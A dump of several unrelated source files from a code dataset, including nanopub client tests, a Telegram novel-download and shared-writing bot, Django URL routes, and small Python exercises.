self).__init__(cfl_number=cfl_number)\n self._models = []\n self._grid_predicted = grid_predicted\n self._grid_true = grid_true\n\n def add_model(self, model):\n if not isinstance(model, Model):\n raise TypeError(\"Must provide wolff.models.model type\")\n self._models.append(model)\n\n def process(self, grid):\n # At least one model\n if len(self._models) == 0:\n raise RuntimeError('No models added to CompositeModel')\n\n G = YangReactionConstant()\n G.grid_predicted = self.grid_predicted\n G.grid_true = self.grid_true\n\n self._dt = np.Inf\n self._H = grid.Copy()\n self._H.data = np.zeros_like(grid.data)\n self._H.data = -1.0 * G()\n\n for model in self._models:\n # Set CFL\n model.cfl_number = self.cfl_number\n\n # Run model\n model(grid)\n\n # Take min of all dt (CFL handled in each model)\n self._dt = min(self._dt, model.dt)\n\n # Add together results\n self._H.data = self._H.data + model.H.data\n\n @property\n def grid_true(self):\n return self._grid_true\n\n @grid_true.setter\n def grid_true(self, value):\n self._grid_true = value\n\n @property\n def grid_predicted(self):\n return self._grid_predicted\n\n @grid_predicted.setter\n def grid_predicted(self, value):\n self._grid_predicted = value\n","sub_path":"wolff/adjoint/yang_composite_model.py","file_name":"yang_composite_model.py","file_ext":"py","file_size_in_byte":1759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"174768553","text":"import warnings\nfrom unittest import mock\n\nimport pytest\nimport rdflib\n\nfrom conftest import skip_if_nanopub_server_unavailable\nfrom nanopub import NanopubClient, namespaces, Publication\nfrom nanopub.definitions import TEST_RESOURCES_FILEPATH\n\nclient = NanopubClient(use_test_server=True)\n\nTEST_ASSERTION = (namespaces.AUTHOR.DrBob, namespaces.HYCL.claims, rdflib.Literal('This is a test'))\nPUBKEY = 'MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCC686zsZaQWthNDSZO6unvhtSkXSLT8iSY/UUwD/' \\\n '7T9tabrEvFt/9UPsCsg/A4HG6xeuPtL5mVziVnzbxqi9myQOY62LBja85pYLWaZPUYakP' \\\n 'HyVm9A0bRC2PUYZde+METkZ6eoqLXP26Qo5b6avPcmNnKkr5OQb7KXaeX2K2zQQIDAQAB'\nNANOPUB_SAMPLE_SIGNED = str(TEST_RESOURCES_FILEPATH / 'nanopub_sample_signed.trig')\n\n\nclass TestNanopubClient:\n\n @pytest.mark.flaky(max_runs=10)\n @skip_if_nanopub_server_unavailable\n def test_find_nanopubs_with_text(self):\n \"\"\"\n Check that Nanopub text search is returning results for a few common search terms\n \"\"\"\n searches = ['test', 'US']\n\n for search in searches:\n results = list(client.find_nanopubs_with_text(search))\n assert len(results) > 0\n results = list(client.find_nanopubs_with_text(''))\n assert len(results) == 0\n\n @pytest.mark.flaky(max_runs=10)\n @skip_if_nanopub_server_unavailable\n def test_find_nanopubs_with_text_pubkey(self):\n results = list(client.find_nanopubs_with_text('test', pubkey=PUBKEY))\n assert len(results) > 0\n\n results = list(client.find_nanopubs_with_text('test', pubkey='wrong'))\n assert len(results) == 0\n\n @pytest.mark.flaky(max_runs=10)\n def test_find_nanopubs_with_text_prod(self):\n \"\"\"\n Check that Nanopub text search is returning results for a few common search terms on the\n production nanopub server\n \"\"\"\n prod_client = NanopubClient()\n searches = ['test', 'US']\n for search in searches:\n results = list(prod_client.find_nanopubs_with_text(search))\n assert len(results) > 0\n\n @pytest.mark.flaky(max_runs=10)\n @skip_if_nanopub_server_unavailable\n def test_find_nanopubs_with_text_json_not_returned(self):\n \"\"\"\n Check that text search that triggers a virtuoso error is handled correctly. In such a\n case HTML is returned by the server rather than JSON.\n \"\"\"\n results = client.find_nanopubs_with_text(\n 'a string that is not in any of the nanopublications'\n ' and that virtuoso does not like')\n\n with pytest.raises(ValueError):\n list(results)\n\n @pytest.mark.flaky(max_runs=10)\n @skip_if_nanopub_server_unavailable\n def test_find_nanopubs_with_pattern(self):\n \"\"\"\n Check that Nanopub pattern search is returning results\n \"\"\"\n searches = [\n ('', rdflib.RDF.type, rdflib.FOAF.Person),\n ('http://purl.org/np/RA8ui7ddvV25m1qdyxR4lC8q8-G0yb3SN8AC0Bu5q8Yeg', '', '')\n ]\n\n for subj, pred, obj in searches:\n results = list(client.find_nanopubs_with_pattern(subj=subj, pred=pred, obj=obj))\n assert len(results) > 0\n assert 'Error' not in results[0]\n\n @pytest.mark.flaky(max_runs=10)\n @skip_if_nanopub_server_unavailable\n def test_find_nanopubs_with_pattern_pubkey(self):\n \"\"\"\n Check that Nanopub pattern search is returning results\n \"\"\"\n subj, pred, obj = (\n 'http://purl.org/np/RA8ui7ddvV25m1qdyxR4lC8q8-G0yb3SN8AC0Bu5q8Yeg', '', '')\n results = list(client.find_nanopubs_with_pattern(subj=subj, pred=pred, obj=obj,\n pubkey=PUBKEY))\n assert len(results) > 0\n\n results = list(client.find_nanopubs_with_pattern(subj=subj, pred=pred, obj=obj,\n pubkey='wrong'))\n assert len(results) == 0\n\n @pytest.mark.flaky(max_runs=10)\n @skip_if_nanopub_server_unavailable\n def test_nanopub_find_things(self):\n \"\"\"\n Check that Nanopub 'find_things' search is returning results\n \"\"\"\n results = list(client.find_things(type='http://purl.org/net/p-plan#Plan'))\n assert len(results) > 0\n\n with pytest.raises(Exception):\n list(client.find_things())\n\n with pytest.raises(Exception):\n list(client.find_things(type='http://purl.org/net/p-plan#Plan', searchterm=''))\n\n @pytest.mark.flaky(max_runs=10)\n @skip_if_nanopub_server_unavailable\n def test_find_things_pubkey(self):\n results = list(client.find_things(type='http://purl.org/net/p-plan#Plan', pubkey=PUBKEY))\n assert len(results) > 0\n\n results = list(client.find_things(type='http://purl.org/net/p-plan#Plan', pubkey='wrong'))\n assert len(results) == 0\n\n @pytest.mark.flaky(max_runs=10)\n @skip_if_nanopub_server_unavailable\n def test_nanopub_find_things_empty_searchterm(self):\n \"\"\"\n Check that Nanopub 'find_things' search raises exception if search string is empty\n \"\"\"\n with pytest.raises(Exception):\n client.find_things(searchterm='')\n\n @pytest.mark.flaky(max_runs=10)\n @skip_if_nanopub_server_unavailable\n def test_find_things_filter_retracted(self):\n filtered_results = list(client.find_things(type='http://purl.org/net/p-plan#Plan',\n filter_retracted=True))\n assert len(filtered_results) > 0\n all_results = list(client.find_things(type='http://purl.org/net/p-plan#Plan',\n filter_retracted=False))\n assert len(all_results) > 0\n # The filtered results should be a smaller subset of all the results, assuming that some of\n # the results are retracted nanopublications.\n assert len(all_results) > len(filtered_results)\n\n def test_find_retractions_of_publication_raise_warning(self):\n test_rdf = rdflib.ConjunctiveGraph()\n test_rdf.parse(NANOPUB_SAMPLE_SIGNED, format='trig')\n\n # A test publication\n publication = Publication(rdf=test_rdf, source_uri='http://test-server/example')\n assert publication.is_test_publication\n # Production server client\n client = NanopubClient(use_test_server=False)\n client.find_nanopubs_with_pattern = mock.MagicMock()\n # Because we try searching the prod server with a test publication this should trigger a\n # warning.\n with warnings.catch_warnings(record=True) as w:\n warnings.simplefilter(\"always\")\n client.find_retractions_of(publication, valid_only=False)\n assert len(w) == 1\n\n # Not a test publication\n publication = Publication(rdf=test_rdf, source_uri='http://a-real-server/example')\n assert not publication.is_test_publication\n # Production server client\n client = NanopubClient(use_test_server=True)\n client.find_nanopubs_with_pattern = mock.MagicMock()\n # Because we try searching the prod server with a test publication this should trigger a\n # warning.\n with warnings.catch_warnings(record=True) as w:\n warnings.simplefilter(\"always\")\n client.find_retractions_of(publication, valid_only=False)\n assert len(w) == 1\n\n @pytest.mark.flaky(max_runs=10)\n @skip_if_nanopub_server_unavailable\n def test_find_retractions_of(self):\n uri = 'http://purl.org/np/RAnksi2yDP7jpe7F6BwWCpMOmzBEcUImkAKUeKEY_2Yus'\n results = client.find_retractions_of(uri, valid_only=False)\n expected_uris = [\n 'http://purl.org/np/RAYhe0XddJhBsJvVt0h_aq16p6f94ymc2wS-q2BAgnPVY',\n 'http://purl.org/np/RACdYpR-6DZnT6JkEr1ItoYYXMAILjOhDqDZsMVO8EBZI']\n for expected_uri in expected_uris:\n assert expected_uri in results\n\n @pytest.mark.flaky(max_runs=10)\n @skip_if_nanopub_server_unavailable\n def test_find_retractions_of_valid_only(self):\n uri = 'http://purl.org/np/RAnksi2yDP7jpe7F6BwWCpMOmzBEcUImkAKUeKEY_2Yus'\n results = client.find_retractions_of(uri, valid_only=True)\n expected_uri = 'http://purl.org/np/RAYhe0XddJhBsJvVt0h_aq16p6f94ymc2wS-q2BAgnPVY'\n assert expected_uri in results\n # This is a nanopublication that is signed with a different public key than the nanopub\n # it retracts, so it is not valid and should not be returned.\n unexpected_uri = 'http://purl.org/np/RACdYpR-6DZnT6JkEr1ItoYYXMAILjOhDqDZsMVO8EBZI'\n assert unexpected_uri not in results\n\n @pytest.mark.parametrize(\n \"test_input,expected\",\n [ # Input with 'v'\n ({'np': {'value': 'test_nanopub_uri'},\n 'v': {'value': 'test_description'},\n 'date': {'value': '01-01-2001'}},\n {'np': 'test_nanopub_uri',\n 'description': 'test_description',\n 'date': '01-01-2001'}),\n # Input with 'description'\n ({'np': {'value': 'test_nanopub_uri'},\n 'description': {'value': 'test_description'},\n 'date': {'value': '01-01-2001'}},\n {'np': 'test_nanopub_uri',\n 'description': 'test_description',\n 'date': '01-01-2001'}),\n # Input without 'v' or 'description'\n ({'np': {'value': 'test_nanopub_uri'},\n 'date': {'value': '01-01-2001'}},\n {'np': 'test_nanopub_uri',\n 'description': '',\n 'date': '01-01-2001'}),\n # Input without 'v' or 'description' and irrelevant fields\n ({'np': {'value': 'test_nanopub_uri'},\n 'date': {'value': '01-01-2001'},\n 'irrelevant': {'value': 'irrelevant_value'}},\n {'np': 'test_nanopub_uri',\n 'description': '',\n 'date': '01-01-2001'})\n ])\n def test_parse_search_result(self, test_input, expected):\n assert client._parse_search_result(test_input) == expected\n\n @pytest.mark.flaky(max_runs=10)\n @skip_if_nanopub_server_unavailable\n def test_nanopub_fetch(self):\n \"\"\"\n Check that Nanopub fetch is returning results for a few known nanopub URIs.\n \"\"\"\n known_nps = [\n 'http://purl.org/np/RANGY8fx_EYVeZzJOinH9FoY-WrQBerKKUy2J9RCDWH6U',\n 'http://purl.org/np/RAABh3eQwmkdflVp50zYavHUK0NgZE2g2ewS2j4Ur6FHI',\n 'http://purl.org/np/RA8to60YFWSVCh2n_iyHZ2yiYEt-hX_DdqbWa5yI9r-gI'\n ]\n\n for np_uri in known_nps:\n np = client.fetch(np_uri)\n assert isinstance(np, Publication)\n assert len(np.rdf) > 0\n assert np.assertion is not None\n assert np.pubinfo is not None\n assert np.provenance is not None\n assert len(np.__str__()) > 0\n\n def test_nanopub_claim(self):\n client = NanopubClient()\n client.java_wrapper.publish = mock.MagicMock()\n client.claim(statement_text='Some controversial statement')\n\n def test_nanopub_publish(self):\n test_concept = rdflib.term.BNode('test')\n test_published_uri = 'http://www.example.com/my-nanopub'\n expected_concept_uri = 'http://www.example.com/my-nanopub#test'\n client = NanopubClient()\n client.java_wrapper.publish = mock.MagicMock(return_value=test_published_uri)\n assertion_rdf = rdflib.Graph()\n assertion_rdf.add(\n (test_concept, namespaces.HYCL.claims, rdflib.Literal('This is a test')))\n\n nanopub = Publication.from_assertion(\n assertion_rdf=assertion_rdf,\n introduces_concept=test_concept,\n )\n pubinfo = client.publish(nanopub)\n assert pubinfo['nanopub_uri'] == test_published_uri\n assert pubinfo['concept_uri'] == expected_concept_uri\n\n def test_assertion_rdf_not_mutated(self):\n \"\"\"\n Check that the assertion rdf graph provided by the user\n is not mutated by publishing in instances where it contains\n a BNode.\n \"\"\"\n rdf = rdflib.Graph()\n rdf.add((rdflib.BNode('dontchangeme'), rdflib.RDF.type, rdflib.FOAF.Person))\n publication = Publication.from_assertion(assertion_rdf=rdf)\n\n client = NanopubClient()\n client.java_wrapper.publish = mock.MagicMock()\n client.publish(publication)\n\n assert (rdflib.BNode('dontchangeme'), rdflib.RDF.type, rdflib.FOAF.Person) in rdf\n\n def test_retract_with_force(self):\n client = NanopubClient()\n client.java_wrapper.publish = mock.MagicMock()\n client.retract('http://www.example.com/my-nanopub', force=True)\n\n @mock.patch('nanopub.client.profile.get_public_key')\n def test_retract_without_force(self, mock_get_public_key):\n test_uri = 'http://www.example.com/my-nanopub'\n test_public_key = 'test key'\n client = NanopubClient()\n client.java_wrapper.publish = mock.MagicMock()\n\n # Return a mocked to-be-retracted publication object that is signed with public key\n mock_publication = mock.MagicMock()\n mock_publication.pubinfo = rdflib.Graph()\n mock_publication.signed_with_public_key = test_public_key\n client.fetch = mock.MagicMock(return_value=mock_publication)\n\n # Retract should be successful when public keys match\n mock_get_public_key.return_value = test_public_key\n client.retract(test_uri)\n\n # And fail if they don't match\n mock_get_public_key.return_value = 'Different public key'\n with pytest.raises(AssertionError):\n client.retract(test_uri)\n","sub_path":"tests/test_client.py","file_name":"test_client.py","file_ext":"py","file_size_in_byte":13643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"28719935","text":"def get_check(a, b):\n li = [a, b]\n li.sort()\n if li.index(a) < li.index(b):\n return True\n else:\n return False\n\ndef sort_as_dict(list):\n for i in range(len(list)-1):\n if len(list[i]) == len(list[i+1]):\n if get_check(list[i], list[i+1]):\n continue\n else:\n list[i], list[i+1] = list[i+1], list[i]\n else:\n continue\n\ndef sol(list):\n final = []\n for i in range(0, len(list)-1):\n li = []\n if len(list[i]) == len(list[i+1]):\n while len(list[i]) == len(list[i+1]):\n li.append(list[i])\n i += 1\n li.sort()\n final.append(li)\n else:\n final.append(list[i])\n \n return final\n \n\n\n\nn = int(input())\nli = []\n\nfor i in range(n):\n temp = input()\n li.append(temp)\n\nfor i in range(1, n):\n for j in range(0, i+1):\n if len(li[j]) > len(li[i]):\n li[j], li[i] = li[i], li[j]\n\n\nprint(sol(li))","sub_path":"sourcecode/backjoon_1181.py","file_name":"backjoon_1181.py","file_ext":"py","file_size_in_byte":1011,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"66286311","text":"import pprint\n\n\n# ЧАСТЬ 1\ndef headers():\n with open(r'C:\\MaxCourses\\PythonBasics\\6.files\\rec.txt', 'r', encoding='utf-8') as file:\n for line in file:\n line = line.rstrip()\n if '|' in line or line == '' or line.isdigit():\n continue\n else:\n print(line)\n\n# Пж, подскажите, почему это не работает, если писать в стиле:\n# if '|' not in line or line != ''\n# print(line)\n\n\n# ЧАСТЬ 2\ndef cook_bk():\n cook_book = {}\n with open(r'C:\\MaxCourses\\PythonBasics\\6.files\\rec.txt', 'r', encoding='utf-8') as file:\n for line in file:\n line = line.rstrip()\n if line.isdigit():\n ingr_nums = int(line)\n elif \"|\" in line:\n if ingr_nums > 0:\n line = line.split(' | ')\n ingr_name = line[0]\n ingr_quant = line[1]\n ingr_measure = line[2]\n cook_book[dish_name].append(\n {'ingredient_name': ingr_name, 'quantity': ingr_quant, 'measure': ingr_measure})\n ingr_nums -= 1\n elif line != '':\n dish_name = line\n cook_book[dish_name] = []\n\n return cook_book\n\n# ЧАСТЬ 3\n\ndef get_shop_list_by_dishes(dishes_arr, people): # (['Запеченный картофель', 'Омлет'], 2)\n global dish_dict\n user_ingrs = dict()\n for dish in dishes_arr:\n if dish in dish_dict:\n for ingr in dish_dict[dish]:\n if ingr.get('ingredient_name') in user_ingrs:\n user_ingrs[ingr['ingredient_name']] += int(ingr['quantity']) * people\n else:\n user_ingrs[ingr['ingredient_name']] = {'measure': ingr['measure'], 'quantity': (int(ingr['quantity']) * people)}\n return user_ingrs\n\n\n\n'''\n{\n'Картофель': {'measure': 'кг', 'quantity': 2},\n'Молоко': {'measure': 'мл', 'quantity': 200},\n'Помидор': {'measure': 'шт', 'quantity': 4},\n'Сыр гауда': {'measure': 'г', 'quantity': 200},\n'Яйцо': {'measure': 'шт', 'quantity': 4},\n'Чеснок': {'measure': 'зубч', 'quantity': 6}\n}\n'''\n\n\n\n# Вызов функций 1-3\nheaders()\nprint('==========================================')\ndish_dict = cook_bk()\npprint.pprint(dish_dict, indent=4)\nprint('==========================================')\nrequest_dishes = get_shop_list_by_dishes(['Запеченный картофель', 'Омлет'], 2)\npprint.pprint(request_dishes, indent=4)\n","sub_path":"PythonBasics/6.files/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":2613,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"291192843","text":"#coding=UTF-8\n\nfrom transitions.extensions import GraphMachine\nimport requests\nfrom bs4 import BeautifulSoup\nfrom langconv import*\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By \nfrom selenium.webdriver.support.ui import WebDriverWait \nfrom selenium.webdriver.support import expected_conditions as EC \nimport os\nimport zipfile\nimport firebase_admin\nfrom firebase_admin import credentials\nfrom firebase_admin import db\n\nfirebase = None\nclass TocMachine(GraphMachine):\n\tglobal firebase\n\tdef __init__(self, **machine_configs):\n\t\tself.machine = GraphMachine(\n\t\tmodel = self,\n\t\t**machine_configs\n\t\t)\n\t\tcred = credentials.Certificate('storytogether-be978-firebase-adminsdk-44g5v-1ea7f4860a.json')\n\t\tfirebase_admin.initialize_app(cred,{\n\t\t\t'databaseURL':'https://storytogether-be978.firebaseio.com'})\n\n\tdef is_going_to_home(self, update, bot):\n\t\ttext = update.message.text\n\t\tboolean = (text.find('home') >= 0)\n\t\treturn boolean\n\t\n\tdef is_going_to_novel(self, update, bot):\n\t\ttext = update.message.text\n\t\tboolean = (text.find('novel') >= 0)\n\t\treturn boolean\n\t\n\tdef is_going_to_write(self, update, bot):\n\t\ttext = update.message.text\n\t\tboolean = (text.find('write') >= 0)\n\t\treturn boolean\n\t\n\tdef is_going_to_web(self, update, bot):\n\t\ttext = update.message.text\n\t\tboolean = (text.find('web') >= 0)\n\t\treturn boolean\n\t\n\tdef is_back_to_home_novel(self, update, bot):\n\t\tif self.state != 'novel':\n\t\t\treturn False\n\n\t\ttext = update.message.text\n\t\tboolean = (text.find('back') >= 0)\n\t\tif boolean == True:\n\t\t\treturn boolean\n\t\n\tdef is_back_to_home_web(self, update, bot):\n\t\tif self.state != 'web':\n\t\t\treturn False\n\n\t\ttext = update.message.text\n\t\tboolean = (text.find('back') >= 0)\n\t\tif boolean == True:\n\t\t\treturn boolean\n\t\n\tdef is_back_to_novel(self, update, bot):\n\t\tif self.state != 'biqukan':\n\t\t\treturn False\n\n\t\ttext = update.message.text\n\t\tboolean = (text.find('back') >= 0)\n\t\tif boolean == True:\n\t\t\treturn boolean\n\t\t\n\t\tif text.find('http://www.biqukan.com/') >= 0:\n\t\t\tupdate.message.reply_text(\"給偶一點時間~~><\")\n\t\t\tchat_id = update.message.chat_id\n\t\t\tbot.send_document(chat_id,document = open('loading.gif','rb'))\n\t\t\t\n\t\t\trequest = requests.get(update.message.text)\n\t\t\trequest.encoding = 'gbk'\n\t\t\tsoup = BeautifulSoup(request.text,'html.parser')\n\t\t\tnovel_name = soup.find( property = 'og:title')\n\t\t\tnovel_name = novel_name.get('content')\n\t\t\tchapter = soup.find_all('div',class_='listmain')\n\t\t\tchapter_soup = BeautifulSoup(str(chapter),'html.parser')\n\t\t\t\n\t\t\tdirectory = '/home/dianarolien/TOC-Project-2017/novel/'+novel_name\n\t\t\tisExist = os.path.exists(directory)\n\t\t\tif isExist == False:\n\t\t\t\tos.mkdir(directory)\n\n\t\t\tif os.path.exists(directory+'.zip') == True:\n\t\t\t\tbot.send_document(chat_id,document = open(directory+'.zip','rb'))\n\t\t\t\treturn boolean\n\n\t\t\tdownload_flag = False\n\t\t\tfor child in chapter_soup.dl.children:\n\t\t\t\tif child != '\\n':\n\t\t\t\t\tif child.string.find(u'正文卷') >= 0:\n\t\t\t\t\t\tdownload_flag = True\n\t\t\t\t\n\t\t\t\t\tif download_flag == True and child.a != None:\n\t\t\t\t\t\tdownload_url = 'http://www.biqukan.com' + child.a.get('href')\n\t\t\t\t\t\tdownload_req = requests.get(download_url)\n\t\t\t\t\t\tdownload_req.encoding = 'gbk'\n\t\t\t\t\t\tdownload_soup = BeautifulSoup(download_req.text,'html.parser')\n\t\t\t\t\t\tdownload_content = download_soup.find_all(id = 'content', class_= 'showtxt')\n\t\t\t\t\t\tcontent = BeautifulSoup(str(download_content),'html.parser')\n\t\t\t\t\t\tcontent = content.div.text.replace('        ',\"\\n\")\n\t\t\t\t\t\tdownload_name = child.string\n\t\t\t\t\t\t\n\t\t\t\t\t\tpath = directory+'/'+ download_name+'.txt'\n\t\t\t\t\t\tisExist = os.path.exists(path)\n\t\t\t\t\t\tif isExist == False:\n\t\t\t\t\t\t\tf = open(path,'w',encoding = 'utf-8')\n\t\t\t\t\t\t\tf.write(download_name+'\\n\\n')\n\t\t\t\t\t\t\tf.write(content)\n\t\t\t\t\t\t\tf.close()\n\t\t\t\n\t\t\tzp = zipfile.ZipFile( directory +'.zip','w',zipfile.ZIP_DEFLATED)\n\t\t\tfor dirname,subdirs,files in os.walk(directory):\n\t\t\t\tfor filename in files:\n\t\t\t\t\tabsname = os.path.abspath(os.path.join(dirname,filename))\n\t\t\t\t\tzp.write(absname,filename)\n\t\t\tzp.close()\n\t\t\tbot.send_document(chat_id,document = open(directory+'.zip','rb'))\n\t\t\treturn True\n\n\t\telse:\n\t\t\tupdate.message.reply_text(u\"網址錯了喔!!\")\n\n\t\treturn boolean\n\t\t\n\tdef is_back_to_novel2(self, update, bot):\n\t\t\n\t\tif self.state != 'quanben':\n\t\t\treturn False\n\t\t\n\t\ttext = update.message.text\n\t\tboolean = (text.find('back') >= 0)\n\t\tif boolean == True:\n\t\t\treturn boolean\n\t\t\n\t\tdriver = webdriver.Chrome('/home/dianarolien/Downloads/chromedriver')\n\t\tdriver.get('http://big5.quanben5.com/')\n\t\t#search_input = WebDriverWait(driver,3).until(EC.presence_of_element_located(By.name,'keywords'))#.find_element_by_name('keywords')\n\t\t#search_input.send_keys('pig')\n\n\tdef is_back_to_home_write(self,update,bot):\n\t\tif self.state != 'write':\n\t\t\treturn False\n\n\tdef is_back_to_write_writing(self, update, bot):\n\t\tif self.state != 'writing':\n\t\t\treturn False\n\t\t\n\t\ttext = update.message.text\n\t\tboolean = (text.find('back') >= 0)\n\t\tif boolean == True:\n\t\t\treturn boolean\n\n\t\tref = db.reference('story')\n\t\tref.set(ref.get()+'\\n'+text)\n\t\t\n\tdef is_back_to_write_reading(self, update, bot):\n\t\tif self.state != 'reading':\n\t\t\treturn False\n\t\t\n\t\ttext = update.message.text\n\t\tboolean = (text.find('back') >= 0)\n\t\tif boolean == True:\n\t\t\treturn boolean\n\t\t\n\t\tupdate.message.reply_text(u\"使用 /back 回到上一層\\n/home 回到主選單\")\n\n\tdef is_going_to_biqukan(self, update ,bot):\n\t\ttext = update.message.text\n\t\tboolean = (text.find('biqukan') >= 0)\n\t\treturn boolean\n\t\t\n\tdef is_going_to_quanben(self, update, bot):\n\t\ttext = update.message.text\n\t\tboolean = (text.find('quanben') >= 0)\n\t\treturn boolean\n\t\n\tdef is_going_to_writing(self, update, bot):\n\t\ttext = update.message.text\n\t\tboolean = (text.find('writing') >= 0)\n\t\treturn boolean\n\t\n\tdef is_going_to_reading(self, update, bot):\n\t\ttext = update.message.text\n\t\tboolean = (text.find('reading') >= 0)\n\t\treturn boolean\n\t\n\tdef on_exit_home(self, update, bot):\n\t\tprint('Leaving home')\n\n\tdef on_enter_novel(self, update, bot):\n\t\tupdate.message.reply_text(u\"Piggy 提供網站下載你想看的小說~\\n/biqukan (筆趣看)\\n\")\n\n\tdef on_exit_novel(self, update, bot):\n\t\tprint('Leaving novel')\n\t\n\tdef on_enter_write(self, update, bot):\n\t\tprint ('Enter write')\n\t\tupdate.message.reply_text(u\"Piggy 提供和其他使用者一起共筆一本小說的服務~\\n/writing 開始共筆 \\n/reading 讀取此小說\")\n\n\tdef on_exit_write(self, update, bot):\n\t\tprint('Leave write')\n\t\n\tdef on_enter_writing(self, update, bot):\n\t\tprint ('Enter writing')\n\t\tupdate.message.reply_text(u\"開始編輯小說:從現在開始,除了 /back 跟 /home ,你打的每一個字都會變成小說的內容,請小心使用~三思而後行~\")\n\n\tdef on_exit_writing(self, update, bot):\n\t\tprint ('Leaving writing')\n\t\n\tdef on_enter_reading(self, update, bot):\n\t\tprint ('Enter reading')\n\t\tref = db.reference('story')\n\t\tupdate.message.reply_text(ref.get())\n\n\tdef on_exit_reading(self, update, bot):\n\t\tprint ('Leaving reading')\n\n\tdef on_enter_web(self, update, bot):\n\t\tprint ('Enter web')\n\t\tupdate.message.reply_text(u\"嗨,推薦一些好用的相關網站:\\n\\n小說網:\\n晉江文學城:http://www.jjwxc.net/\\n全本小說網:http://big5.quanben5.com/\\n筆趣看:http://www.biqukan.com/\\n宙斯小說網:http://tw.zhsxs.com/gengxin/info_1.html\\n輕之國度:https://www.lightnovel.cn/forum.php\\n\\n購書網:\\n誠品網路書店:http://www.eslite.com/\\n博客來:http://www.books.com.tw/\\n金石堂:https://www.kingstone.com.tw/\\nAmazon:https://www.amazon.co.jp/gp/top-sellers/books/ref=crw_ratp_ts_books\\nTAAZE:http://www.taaze.tw/index.html\\n城邦讀書花園:http://www.cite.com.tw/\\n若水堂:http://www.waterlike.com.tw/\")\n\n\tdef on_exit_web(self, update, bot):\n\t\tprint('Leave web')\n\n\tdef on_enter_biqukan(self, update, bot):\n\t\tprint ('Enter biqukan')\n\t\tupdate.message.reply_text(u\"嗨,歡迎使用筆趣看:http://www.biqukan.com\\n輸入一個你中意的小說的網址(ex:http://www.biqukan.com/17_17065/)\\nPiggy 會幫你打包txt檔送給你~\")\n\n\tdef on_exit_biqukan(self, update, bot):\n\t\tprint('Leaving biqukan')\n\t\t\t\n\tdef on_enter_quanben(self, update, bot):\n\t\tupdate.message.reply_text(\"嗨,歡迎使用全本小說網:http://big5.quanben5.com/\")\n\t\n\n\tdef on_exit_quanben(self, update, bot):\n\t\tprint('Leaving quanben')\n","sub_path":"fsm.py","file_name":"fsm.py","file_ext":"py","file_size_in_byte":8219,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"243002514","text":"from django.conf.urls import url\nfrom . import views\nfrom django.conf import settings\nfrom django.conf.urls.static import static\nfrom django.contrib.auth.views import login, logout\nfrom django.contrib.auth.decorators import login_required\n\napp_name = 'manager'\n\nurlpatterns = [\n # /manager/\n url(r'^$', views.index, name='index'),\n\n # /manager/register/\n url(r'^register/$', views.UserFormView.as_view(), name='register'),\n\n # /manager/login/\n url(r'^login/$', login, {'template_name': 'manager/login.html'}, name='login'),\n url(r'^logout/$', logout, {'template_name': 'manager/welcome.html'}, name='logout'),\n\n # /manager/carriers/\n url(r'^carriers/$', views.IndexCarrierView.as_view(), name='carrier_list'),\n\n # /manager/carriers//\n url(r'^carriers/(?P[0-9]+)/$', views.DetailCarrierView.as_view(), name='carrier_detail'),\n\n # /manager/orders/\n url(r'^orders/$', views.IndexOrderView.as_view(), name='order_list'),\n\n # /manager/orders//\n url(r'^orders/(?P[0-9]+)/$', views.DetailOrderView.as_view(), name='order_detail'),\n\n # /manager/trips/\n url(r'^trips/$', views.IndexTripView.as_view(), name='trip_list'),\n\n # /manager/trip//\n url(r'^trips/(?P[0-9]+)/$', views.DetailTripView.as_view(), name='trip_detail'),\n\n # /manager/carrier/add/\n url(r'^carrier/add/$', views.CarrierCreate.as_view(), name='carrier-add'),\n\n # /manager/carrier//\n url(r'^carriers/edit/(?P[0-9]+)/$', views.CarrierUpdate.as_view(), name='carrier-update'),\n\n # /manager/carrier//delete/\n url(r'^carrier/(?P[0-9]+)/delete/$', views.CarrierDelete.as_view(), name='carrier-delete'),\n]\n\nif settings.DEBUG:\n urlpatterns += static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)\n urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)","sub_path":"manager/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1889,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"364209192","text":"import csv\n\n\ndef make_csvfile():\n with open('Restaurant.csv', 'w') as csv_file:\n fieldnames = ['NAME', 'COUNT']\n writer = csv.DictWriter(csv_file, fieldnames=fieldnames)\n writer.writeheader()\n\ndef read_csvfile():\n with open('Restaurant.csv', 'r') as csv_file:\n reader = csv.DictReader(csv_file)\n now_files = {}\n for row in reader:\n now_files.update({row['NAME'] : row['COUNT']})\n return now_files\n\ndef add_csvfile(files):\n with open('Restaurant.csv', 'w') as csv_file:\n fieldnames = ['NAME', 'COUNT']\n writer = csv.DictWriter(csv_file, fieldnames=fieldnames)\n writer.writeheader()\n for k,v in files.items():\n writer.writerow({'NAME':k,'COUNT':v})\n\n\n","sub_path":"csv_editor.py","file_name":"csv_editor.py","file_ext":"py","file_size_in_byte":757,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"409700088","text":"import os\n\nimport pytest\nfrom sqlalchemy.engine.url import make_url\nfrom sqlalchemy.sql.compiler import IdentifierPreparer\n\nfrom galaxy.model.database_utils import sqlalchemy_engine\n\n# GALAXY_TEST_CONNECT_POSTGRES_URI='postgresql://postgres@localhost:5432/postgres' pytest test/unit/model\nskip_if_not_postgres_uri = pytest.mark.skipif(\n not os.environ.get('GALAXY_TEST_CONNECT_POSTGRES_URI'),\n reason=\"GALAXY_TEST_CONNECT_POSTGRES_URI not set\"\n)\n\n# GALAXY_TEST_CONNECT_MYSQL_URI='mysql+mysqldb://root@localhost/mysql' pytest test/unit/model\nskip_if_not_mysql_uri = pytest.mark.skipif(\n not os.environ.get('GALAXY_TEST_CONNECT_MYSQL_URI'),\n reason=\"GALAXY_TEST_CONNECT_MYSQL_URI not set\"\n)\n\n\ndef 